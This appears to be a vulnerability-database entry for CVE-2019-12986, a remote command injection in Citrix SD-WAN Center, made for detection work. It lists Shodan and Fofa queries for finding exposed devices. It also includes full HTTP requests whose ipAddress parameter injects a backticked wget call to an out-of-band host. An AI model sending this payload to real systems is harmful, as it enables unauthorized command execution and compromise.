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CVE-2019-12986: Citrix SD-WAN Center - Remote Command Injection

TitleCitrix SD-WAN Center - Remote Command Injection
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized access, data exfiltration, and potential compromise of the entire SD-WAN infrastructure.
RemediationApply the necessary patches or updates provided by Citrix to mitigate the vulnerability.
CVSS Score9.8
EPSS Score0.92422
CVE IDCVE-2019-12986
CWE IDCWE-78
Shodan Queryhttp.title:"Citrix SD-WAN"http.title:"citrix sd-wan"
Fofa Querytitle="citrix sd-wan"
Tags cve2019 cve unauth oast tenable citrix rce vkev vuln

🔍 Vulnerability Description

Citrix SD-WAN Center is susceptible to remote command injection via the trace_route function in DiagnosticsController, which does not sufficiently validate or sanitize HTTP request parameter values used to construct a shell command. An attacker can trigger this vulnerability by routing traffic through the Collector controller and supplying a crafted value for ipAddress, thereby potentially being able to obtain sensitive information, modify data, and/or execute unauthorized operations.

🌐 HTTP Request

GET /login HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.7.20) Gecko/ Firefox/4.0
Connection: close
Accept-Encoding: gzip
POST /Collector/diagnostics/trace_route HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Connection: close
Content-Length: 76
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

ipAddress=%60/bin/wget+http://d5jp7v1le0o3qk43gefg47if1djettpo6.oast.live%60

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-12986.yaml

🦈 Packet Capture: ⬇️ Download cve-2019-12986.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A